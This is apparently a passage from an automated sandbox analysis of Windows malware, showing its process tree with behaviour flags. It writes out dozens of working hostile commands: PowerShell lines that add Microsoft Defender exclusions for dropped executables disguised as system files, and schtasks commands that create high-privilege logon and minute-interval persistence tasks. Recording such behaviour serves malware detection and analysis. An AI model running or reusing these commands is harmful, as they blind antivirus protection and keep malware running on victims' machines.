        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:372
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\DllCommonsvc.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2816
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\odt\WaaSMedicAgent.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4392
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\odt\explorer.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4088
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\SppExtComObj.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4788
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\odt\WaaSMedicAgent.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4128
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\explorer.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1548
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\sppsvc.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4708
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\RuntimeBroker.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4688
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\wininit.exe'
        8⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1724
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\RuntimeBroker.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4752
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\System.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4848
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\wininit.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2076
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Windows Photo Viewer\ja-JP\explorer.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:456
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\Cookies\spoolsv.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3140
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default User\csrss.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1464
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\sppsvc.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5108
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\csrss.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4260
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\taskhostw.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2784
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\Idle.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3656
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\lsass.exe'
        8⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4952
        
        C:\odt\WaaSMedicAgent.exe
        
        "C:\odt\WaaSMedicAgent.exe"
        8⤵
        Executes dropped EXE
        Checks computer location settings
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        
        PID:1224
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\zKs2Tjd9zb.bat"
        9⤵
        
        PID:6012
        
        C:\Windows\system32\w32tm.exe
        
        w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
        10⤵
        
        PID:2848
        
        C:\odt\WaaSMedicAgent.exe
        
        "C:\odt\WaaSMedicAgent.exe"
        10⤵
        
        PID:5308
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Fonts\Idle.exe'
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4744

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 14 /tr "'C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\spoolsv.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4524

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\spoolsv.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4072

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 5 /tr "'C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\spoolsv.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1860

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 5 /tr "'C:\Program Files\Windows Sidebar\Gadgets\StartMenuExperienceHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3408

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Program Files\Windows Sidebar\Gadgets\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1076

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 9 /tr "'C:\Program Files\Windows Sidebar\Gadgets\StartMenuExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2628

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\WindowsPowerShell\Configuration\Schema\SearchApp.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4576

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchApp" /sc ONLOGON /tr "'C:\Program Files (x86)\WindowsPowerShell\Configuration\Schema\SearchApp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:380

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\WindowsPowerShell\Configuration\Schema\SearchApp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3084

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 5 /tr "'C:\Users\Default User\Idle.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:456

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\Users\Default User\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4528

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 7 /tr "'C:\Users\Default User\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:2496

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 7 /tr "'C:\Windows\assembly\NativeImages_v2.0.50727_64\Microsoft.WSMan.Run#\927a00c8d6c2756ed97e610e209e12ab\SearchApp.exe'" /f
1⤵
- Process spawned unexpected child process
PID:3112

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchApp" /sc ONLOGON /tr "'C:\Windows\assembly\NativeImages_v2.0.50727_64\Microsoft.WSMan.Run#\927a00c8d6c2756ed97e610e209e12ab\SearchApp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:932

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 11 /tr "'C:\Windows\assembly\NativeImages_v2.0.50727_64\Microsoft.WSMan.Run#\927a00c8d6c2756ed97e610e209e12ab\SearchApp.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:4720

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 5 /tr "'C:\Users\All Users\Mozilla\updates\308046B0AF4A39CB\OfficeClickToRun.exe'" /f
1⤵
- Process spawned unexpected child process
PID:4920

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRun" /sc ONLOGON /tr "'C:\Users\All Users\Mozilla\updates\308046B0AF4A39CB\OfficeClickToRun.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1156

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 7 /tr "'C:\Users\All Users\Mozilla\updates\308046B0AF4A39CB\OfficeClickToRun.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2728

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 5 /tr "'C:\Windows\Fonts\Idle.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1668

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 13 /tr "'C:\Windows\Fonts\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:4908

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\Windows\Fonts\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:1548

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 9 /tr "'C:\odt\Idle.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:660

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\odt\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2816

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 8 /tr "'C:\odt\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:2884

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObj" /sc ONLOGON /tr "'C:\Windows\INF\rdyboost\SppExtComObj.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1772

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 6 /tr "'C:\Windows\INF\rdyboost\SppExtComObj.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1576

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 8 /tr "'C:\providercommon\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:3184

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 6 /tr "'C:\Windows\INF\rdyboost\SppExtComObj.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:384

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 11 /tr "'C:\providercommon\dwm.exe'" /f
1⤵
- Process spawned unexpected child process
PID:2256

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\providercommon\dwm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4416

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 8 /tr "'C:\providercommon\dwm.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4584

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\providercommon\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:4600

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 9 /tr "'C:\providercommon\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2148

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\odt\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3056

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
PID:3156

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 5 /tr "'C:\odt\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:4952

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 9 /tr "'C:\odt\conhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4120

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 12 /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1588

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Windows Photo Viewer\ja-JP\RuntimeBroker.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2356

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Photo Viewer\ja-JP\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4080

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:2992

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Windows Photo Viewer\ja-JP\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:4064

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Windows Media Player\Media Renderer\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3040

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Media Player\Media Renderer\conhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:3420

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Windows Media Player\Media Renderer\conhost.exe'" /f
1⤵
- Process spawned unexpected child process
PID:4140

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 10 /tr "'C:\Users\All Users\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\lsass.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1608

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Users\All Users\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:4664

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 6 /tr "'C:\Users\All Users\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\lsass.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:824

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 5 /tr "'C:\Program Files\Windows Sidebar\Shared Gadgets\fontdrvhost.exe'" /f
1⤵
- Process spawned unexpected child process
PID:4132

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Program Files\Windows Sidebar\Shared Gadgets\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4440

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 14 /tr "'C:\Program Files\Windows Sidebar\Shared Gadgets\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1652

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 5 /tr "'C:\odt\explorer.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2164

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 6 /tr "'C:\odt\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4996

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\odt\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:4956

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WaaSMedicAgentW" /sc MINUTE /mo 11 /tr "'C:\odt\WaaSMedicAgent.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2744

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WaaSMedicAgentW" /sc MINUTE /mo 6 /tr "'C:\odt\WaaSMedicAgent.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2148

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WaaSMedicAgent" /sc ONLOGON /tr "'C:\odt\WaaSMedicAgent.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2172

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObj" /sc ONLOGON /tr "'C:\providercommon\SppExtComObj.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5012

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 13 /tr "'C:\providercommon\SppExtComObj.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1288

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 7 /tr "'C:\providercommon\SppExtComObj.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4960

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\sppsvc.exe'" /f
1⤵
- Process spawned unexpected child process
PID:4576

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2572

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
PID:380

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\explorer.exe'" /f
1⤵
- Process spawned unexpected child process
PID:5064

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\explorer.exe'" /rl HIGHEST /f
1⤵
PID:1120

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\explorer.exe'" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:2500

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WaaSMedicAgentW" /sc MINUTE /mo 12 /tr "'C:\odt\WaaSMedicAgent.exe'" /f
1⤵
- Creates scheduled task(s)
PID:552

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WaaSMedicAgent" /sc ONLOGON /tr "'C:\odt\WaaSMedicAgent.exe'" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:4276

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "WaaSMedicAgentW" /sc MINUTE /mo 6 /tr "'C:\odt\WaaSMedicAgent.exe'" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:992

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\wininit.exe'" /rl HIGHEST /f
1⤵
PID:4432

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /f
1⤵
- Creates scheduled task(s)
PID:824

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
PID:3296

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 14 /tr "'C:\Users\Default User\csrss.exe'" /f
1⤵
PID:1500

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 13 /tr "'C:\Users\Default User\csrss.exe'" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:1188

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Users\Default User\csrss.exe'" /rl HIGHEST /f
1⤵
PID:1076

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
PID:1716

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 13 /tr "'C:\providercommon\RuntimeBroker.exe'" /f
1⤵
- Creates scheduled task(s)
PID:1224

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\providercommon\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4676

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 10 /tr "'C:\providercommon\RuntimeBroker.exe'" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:3420

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 7 /tr "'C:\Recovery\WindowsRE\System.exe'" /f
1⤵
PID:3476

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\System.exe'" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:4720

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\wininit.exe'" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:2200

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\wininit.exe'" /f
1⤵
- Creates scheduled task(s)
PID:624

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\System.exe'" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:1940

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 12 /tr "'C:\Users\Default\Cookies\spoolsv.exe'" /f
1⤵
- Creates scheduled task(s)
PID:3260

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 6 /tr "'C:\Users\Default\Cookies\spoolsv.exe'" /rl HIGHEST /f
1⤵
PID:2728

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Users\Default\Cookies\spoolsv.exe'" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:3780

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 14 /tr "'C:\providercommon\wininit.exe'" /f
1⤵
- Creates scheduled task(s)
PID:1752

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\providercommon\wininit.exe'" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:2132

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 12 /tr "'C:\providercommon\wininit.exe'" /rl HIGHEST /f
1⤵
PID:2712

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Windows Photo Viewer\ja-JP\explorer.exe'" /f
1⤵
PID:3464

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorere" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows Photo Viewer\ja-JP\explorer.exe'" /rl HIGHEST /f
1⤵
PID:5036

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Photo Viewer\ja-JP\explorer.exe'" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:4372

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\providercommon\sppsvc.exe'" /rl HIGHEST /f
1⤵
PID:3812

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 13 /tr "'C:\providercommon\sppsvc.exe'" /f
1⤵
PID:1064

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 11 /tr "'C:\providercommon\csrss.exe'" /f
1⤵
- Creates scheduled task(s)
PID:3596

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 8 /tr "'C:\providercommon\sppsvc.exe'" /rl HIGHEST /f
1⤵
PID:2968

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\providercommon\csrss.exe'" /rl HIGHEST /f
1⤵
PID:904

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 14 /tr "'C:\providercommon\csrss.exe'" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:648

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\taskhostw.exe'" /rl HIGHEST /f
1⤵
- Creates scheduled task(s)
PID:620

